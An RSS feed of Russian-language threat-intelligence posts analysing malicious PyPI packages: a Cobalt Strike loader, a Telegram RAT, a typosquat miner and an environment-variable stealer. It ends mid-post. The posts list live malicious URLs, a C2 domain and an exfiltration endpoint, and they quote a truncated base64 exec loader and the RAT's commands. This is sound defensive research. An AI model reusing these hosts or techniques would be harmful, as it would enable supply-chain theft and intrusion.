<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pypi &#8211; PT ESC</title>
	<atom:link href="/tag/pypi/feed/index.xml" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 10:48:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>pypi &#8211; PT ESC</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Необычная обфускация — это всегда красиво&#8230;</title>
		<link>/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Необычная обфускация — это всегда красиво&#8230; 🥰 &#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF). Одна из задач злоумышленника…]]></description>
										<content:encoded><![CDATA[<p><strong>Необычная обфускация — это всегда красиво&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF).</p>
<p>Одна из задач злоумышленника — сделать вредоносный пакет, который выглядит легитимным. Это позволит дольше избегать обнаружения.</p>
<p>Мы заметили интересную PyPI-кампанию, в которую входит библиотека <code>requests-ml-min</code> за авторством <code>scott.fitzgerald</code>. В ней всего шесть Python-файлов:</p>
<p>1️⃣ <code>setup.py</code>. Есть исполнение <code>ModelInstall</code> в момент установки, но это не криминал: есть много проектов, которые что-то доустанавливают или компилируют на этом этапе.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Ничего необычного.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Ничего необычного.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>скриншот 1</em>). Содержит массив из 145 идентификаторов UUID и функцию конкатенации&#8230; 🤪 Оригинально, попытка засчитана 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>скриншот 2</em>). Сбор информации о системе, упаковка в base64, отправка. 👍 Десять детектов на стилерский сбор информации о системе из десяти.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>скриншот 3</em>). Реализует функции-хелперы. Строки обфусцированы через массивы ASCII-кодов&#8230; 🏃‍♀️ Мы решаем CTF-таск reverse за 100?</p>
<p><strong>О файле </strong><code>resource/resource.py</code></p>
<p>За обфускацией скрывается красивый downloader + process injector. Красивый потому, что скачиваемый файл, являющийся шеллкодом, расположен по следующему URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>Шеллкод будет инжектирован в отдельно для него запущенный процесс <code>werfault.exe</code>. Нагрузка представляет собой загрузчик Cobalt Strike.</p>
<p><strong>Действия PyPI-пакета в процессе установки:</strong></p>
<p>🤔 Соберет информацию о системе (<em>скриншот 2)</em>.</p>
<p>🤔 Отправит ее на <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (к слову, еще один красивый URI).</p>
<p>🤔 Убедится, что жертва находится в белом списке. Для этого она получит домен жертвы, захэширует его алгоритмом SHA-256 и убедится, что хэш соответствует одному из семи ожидаемых. Это хороший метод антианализа, ведь он затрудняет работу исследователей 🙂</p>
<p>🤔 Если жертва находится в белом списке, то запустит нагрузку с Cobalt Strike.</p>
<p>Занятно, что код позволяет подготовить нагрузку под Windows, Linux и macOS, однако автор добавил только вариант для Windows.</p>
<p><strong>Нам удалось подобрать исходный текст для четырех из семи хэшей:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>Свои догадки о природе этих доменов можете оставлять в комментариях 🤨</p>
<p>Учитывая, каким списком целей ограничивает себя библиотека, это может быть пентест или багбаунти. По крайней мере, будем на это надеяться — такую красивую библиотеку не так часто можно встретить.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (лучше не запускайте) Восьмого февраля была опубликована библиотека teligram. Ее описание гласит: Telegram-based friendly library. Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена…]]></description>
										<content:encoded><![CDATA[<strong>pip install teligram</strong> 🧐 <span class="spoiler">(лучше не запускайте)</span><br />
<br />
Восьмого февраля была опубликована библиотека <code>teligram</code>.<br />
<br />
Ее описание гласит: <code>Telegram-based friendly library</code>.<br />
<br />
Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена самописным Remote Access Tool (RAT).<br />
<br />
<strong>Его особенности:</strong><br />
<br />
• Есть следы использования LLM.<br />
<br />
• Содержит в себе одну большую функцию <code>khelo</code>, в которой реализованы 16 подфункций.<br />
<br />
• Присутствуют следы индийского языка (<code>khelo</code> переводится как «играть»; выбранное имя разработчика <code>Om Devendra</code> — индийское).<br />
<br />
• Код не обфусцирован, и приветствие бота, отправляемое при использовании команд <code>/help</code> и <code>/start</code> администратором, отражает возможности:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></span></pre><br />
<br />
Версия 1.0.0 не обладает функционалом запуска после установки. Остальные версии не успели выйти — пакет был отправлен в карантин, хотя и просуществовал 19 часов.<br />
<br />
💬 К слову, читать ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">можно теперь и в MAX</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> И это не скам.<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Город празднует, просыпается мафия</title>
		<link>/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[Город празднует, просыпается мафия 🥰 За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. Злоумышленники в PyPI ленятся. Мы расскажем о маленькой…]]></description>
										<content:encoded><![CDATA[<strong>Город празднует, просыпается мафия </strong><strong>🥰</strong><br />
<br />
За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. <s>Злоумышленники в PyPI ленятся</s>. Мы расскажем о маленькой новогодней магии в рамках одного PyPI-пакета.<br />
<br />
Пользователь <code>ambertransit</code> 4 января опубликовал проект <code>aiihttp</code>, название которого мимикрирует под http-клиент <code>aiohttp</code>.<br />
<br />
Начинается код простой обфускацией:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
Логика, сокрытая за base64, представлена на первом скриншоте. Из ключевого:<br />
<br />
<strong>•</strong> Пакет по-джентельменски помогает опечатавшемуся разработчику: удаляет себя, устанавливает <code>aiohttp</code> [п.1 на скр. 1], после чего перезагружает модуль, если он уже был импортирован [2].<br />
<br />
<strong>•</strong> Следующий стейдж находится на GitHub [3]. Однако все не так просто — он зашифрован XOR-ом длиной 32 символа [4]. Для ключа используется алфавит <code>[a-f0-9]{32}</code>, который по формату походит на MD5, но дополнительного смысла мы за этим не нашли.<br />
<br />
<strong>•</strong> Закрепление в системе происходит через реестр [5]. Стейдж отработает при следующем входе пользователя в систему.<br />
<br />
Учетная запись GitHub активна и заливает вредоносы с мая 2024. Использование XOR, даже с ключом длиной 32 байта, без режима сцепления блоков шифротекста делает исполняемые файлы не такими уж и защищенными 😁 (на втором скриншоте — скачиваемый вредоносным кодом блоб). Такая же картина наблюдается и к концу файла, тоже богатому нулевыми байтами.<br />
<br />
Исполняемым файлом является майнер для криптовалюты Monero. В результате кампании злоумышленнику удалось намайнить 15,7 <span class="spoiler">(не миллионов)</span> рублей 🤑<br />
<br />
Будьте осторожны в опенсорсе, это плодородная почва для действий злоумышленников 😼

<figure class="wp-block-image"><img width="1024" height="862" src="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Страсти вокруг PyPI: 🪰⮕🐘?</title>
		<link>/passions-around-pypi/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 21 Jul 2025 15:26:04 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%b2%d0%be%d0%ba%d1%80%d1%83%d0%b3-pypi-%f0%9f%aa%b0%e2%ae%95%f0%9f%90%98/</guid>

					<description><![CDATA[Страсти вокруг PyPI: 🪰⮕🐘? На прошлой неделе CNews выпустили новость: &#8220;Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные&#8220;. В ней выясняется, что Python Package Index (PyPI),…]]></description>
										<content:encoded><![CDATA[<strong>Страсти вокруг PyPI: 🪰⮕🐘?</strong>

На прошлой неделе CNews выпустили новость: &#8220;<a href="https://zoom.cnews.ru/soft/news/line/2025-07-17_rossiyan_pognali_iz_soobshchestva" target="_blank" rel="noopener">Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные</a>&#8220;. В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене <a href="http://inbox.ru" target="_blank" rel="noopener">inbox.ru</a>.
<blockquote>В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).</blockquote>
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
<a href="https://t.me/banksta/74708" target="_blank" rel="noopener">
@banksta</a>:
<blockquote>Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.</blockquote>
<a href="https://t.me/imaxairu/17131" target="_blank" rel="noopener">@imaxairu</a>:
<blockquote>Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python

Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль

Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются</blockquote>
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.

<strong>Даём оценку официальным заявлениям</strong>

CNews ссылаются <a href="https://blog.pypi.org/posts/2025-06-15-prohibiting-inbox-ru-emails/" target="_blank" rel="noopener">на статью в блоге PyPI</a>, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене <code>inbox.ru</code>.

Схожее решение администрация PyPI <a href="https://blog.pypi.org/posts/2024-06-16-prohibiting-msn-emails/" target="_blank" rel="noopener">выносила и год назад</a>, 16 июня 2024, в отношении доменов <code>outlook.com</code> и <code>hotmail.com</code> (принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.

Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.

PyPI приводит статистику:

<pre class="wp-block-code"><span><code class="hljs language-plaintext">9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26  9
2025-06-27  295
2025-06-28  39
2025-06-29  119
2025-06-30  740
2025-07-01  249
2025-07-02  46
2025-07-10  16
2025-07-11  12</code></span></pre>

По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (<a href="https://t.me/disasm_me_ch/447" target="_blank" rel="noopener">на примере Яндекса</a>), но для этого достаточно и одной учётки.

Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
<blockquote>Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу security@pypi.org, чтобы обсудить это решение.</blockquote>
Давайте разберемся с кампанией.

<strong>Характер кампании</strong>

Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на <code>@inbox.ru</code>, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.

<img fetchpriority="high" decoding="async" class="attachment-large size-large" src="/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg 1024w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-300x154.jpg 300w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-768x395.jpg 768w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11.jpg 1280w" alt="" width="1024" height="526" />
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на <code>@inbox.ru</code>, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: &#8220;Minimal package created automatically&#8221; — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢<code>avoid</code> 🐱
🟢<code>common-io</code>
🟢<code>win32crypt</code>
🟢<code>win32com</code>
🟢<code>pywintypes</code>
🟢<code>jsap</code>
🟢<code>webdav2</code>
🟢<code>arbuzmining</code> 🍉
🟢<code>requirements-cpu-txt</code>
🟢<code>requirements-cuda-txt</code>
🟢<code>dl-pivot-pandas</code>
🟢<code>steambaselib</code> 💀
🟢<code>catboost-spark</code>
🟢<code>numpynumpy</code>
🟢<code>antlr4-runtime</code>
🟢<code>celery-telegram</code>
🟢<code>exllama-kernels</code>
🟢<code>booking-api</code>

Некоторые из названий тагретят разработчиков российских компаний:
🟢<code>youla-spark-session</code> 🐱
🟢<code>ipy-kaspersky</code> 💀
🟢<code>vkads</code>
🟢<code>vkpay</code>
🟢<code>vkplay-sync</code> 😺
🟢<code>vkplay-metrics</code>

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

<strong>Оправдано ли внесение почты </strong><code>@inbox.ru</code><strong> в чёрный список?</strong>

В настоящее время при создании почтового ящика на <code>@inbox.ru</code> требуется номер телефона или учётная запись VK. Есть <a href="https://otvet.mail.ru/question/234228102" target="_blank" rel="noopener">упоминание</a>, что два года назад можно было обойтись без почты. Также <a href="https://help.mail.ru/mail/account/aliases/" target="_blank" rel="noopener">можно создать до 10 анонимных ящиков к своей основной почте</a> в рамках официального функционала <a href="http://mail.ru" target="_blank" rel="noopener">mail.ru</a>.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту <code>@inbox.ru</code>, &#8220;репрессии&#8221; не касаются — были заблокированы только &#8220;пользователи&#8221;, участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

<strong>Подводя итог</strong>

Ограничение создания новых учётных записей с использованием почты на <code>@inbox.ru</code> — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span>
<a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index</title>
		<link>/an-attacker-published-malicious-packages-named-deepseeek-and-deepseekai-in-the-python-package-index/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 31 Jan 2025 17:25:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%be%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d0%be%d0%b2%d0%b0%d0%bb-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd/</guid>

					<description><![CDATA[Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳 Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший…]]></description>
										<content:encoded><![CDATA[<strong>Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index</strong> 🐳<br />
<br />
Команда Supply Chain Security департамента Threat Intelligence PT ESC <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/vredonosnye-pakety-deepseeek-i-deepseekai-byli-opublikovany-v-python-package-index/?utm_source=tg_seclab&#038;utm_medium=post&#038;utm_campaign=esc&#038;utm_content=31_01" rel="noopener" target="_blank">обнаружила вредоносную кампанию</a> на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись <code>bvk</code> в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал <strong>вредоносные пакеты deepseeek и deepseekai</strong>.<br />
<br />
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai <em>(скриншот 2)</em>. Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.<br />
<br />
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии <em>(скриншот 3)</em>.<br />
<br />
Мы оперативно уведомили администраторов репозитория, <strong>пакеты были отправлены в карантин и вскоре удалены</strong>. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.<br />
<br />
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.<br />
<br />
<strong>IoCs:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-attr">пакет PyPI:</span> <span class="hljs-string">deepseeek</span>
<span class="hljs-attr">пакет PyPI:</span> <span class="hljs-string">deepseekai</span>
<span class="hljs-attr">c2:</span> <span class="hljs-string">eoyyiyqubj7mquj.m.pipedream.net</span></code></span></pre>

<figure class="wp-block-image"><img width="1024" height="597" src="/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg 1024w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-300x175.jpg 300w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-768x448.jpg 768w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="996" height="700" src="/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg 996w, /wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-300x211.jpg 300w, /wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-768x540.jpg 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>

<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Первые шаги на хакерском поприще</title>
		<link>/first-steps-in-the-hacking-field/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 24 Dec 2024 14:57:47 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d0%b5%d1%80%d0%b2%d1%8b%d0%b5-%d1%88%d0%b0%d0%b3%d0%b8-%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%b5%d1%80%d1%81%d0%ba%d0%be%d0%bc-%d0%bf%d0%be%d0%bf%d1%80%d0%b8%d1%89%d0%b5/</guid>

					<description><![CDATA[Первые шаги на хакерском поприще 🐱 Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).…]]></description>
										<content:encoded><![CDATA[<p><strong>Первые шаги на хакерском поприще</strong> 🐱</p>
<p>Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие <code>boto3</code>, <code>scikit-learn</code>, <code>requests</code> (<a href="https://pypi.org/project/requests/0.2.0/" rel="noopener" target="_blank">концепт-план</a> версии 0.2.0 — вполне креативный).</p>
<p>Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.</p>
<p>1️⃣ <strong>Пользователь SpaceyLad создал цепочку из двух пакетов:</strong></p>
<p>🟢<code>not-so-evil-package-spaceylad</code>, код которого представлен <em>на скриншотах 1</em> (оригинальная версия) <em>и 2</em> (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.</p>
<p>🟢<code>not-evil-calculator-spaceylad</code>, который непосредственно запустит команду, — <em>скриншот 3</em>.</p>
<p>В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением <code>.css</code>. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл <code>evil_python.exe</code>, представляющий собой&#8230; <code>calc.exe</code> из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя <code>IXY</code>.</p>
<p>Из занятного — в релизах проектов оставлены папки <code>.idea</code> (папка проекта в IDE PyCharm) и <code>.venv</code> (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — <code>pip_evil_package</code>. Также благодаря нехитрой цепочке «гугления» выясняется, что <em>разработчик</em> является студентом факультета кибербезопасности одного из университетов Норвегии 🐈</p>
<p>2️⃣ <strong>В июле-августе 2024 года существовал пакет </strong><code>recovery</code>, задача которого согласно описанию была простой: <code>Checks recovery phone numbers against login page on yahoo</code>. Имя автора, <code>ExodusChecker</code>, вызывает смутные подозрения, но давайте не будем торопиться.</p>
